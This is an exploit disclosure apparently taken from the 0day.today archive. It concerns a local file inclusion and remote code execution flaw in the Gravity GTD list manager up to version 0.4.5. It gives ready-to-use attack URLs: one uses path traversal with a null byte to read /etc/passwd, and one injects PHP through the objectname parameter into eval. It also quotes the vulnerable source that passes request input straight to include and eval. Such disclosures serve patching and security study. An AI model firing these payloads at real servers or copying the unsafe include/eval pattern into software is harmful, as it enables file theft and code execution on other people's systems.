Gravity GTD <= 0.4.5 (rpc.php objectname) LFI/RCE Vulnerability

2008-12-04T00:00:00
ID 1337DAY-ID-4353
Type zdt
Reporter dun
Modified 2008-12-04T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
Gravity GTD <= 0.4.5 (rpc.php objectname) LFI/RCE Vulnerability
===============================================================



  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun ]

 #####################################################
 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #		$objectName = $_REQUEST['objectname'];
 #
 #
 #		include  ("../objects/class.".strtolower($objectName).".php");				// LFI
 #
 #		eval ('$instance = new '.$objectName.'();');								// RCE
 # ... 	 
 #
 #
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************




#  0day.today [2018-03-28]  #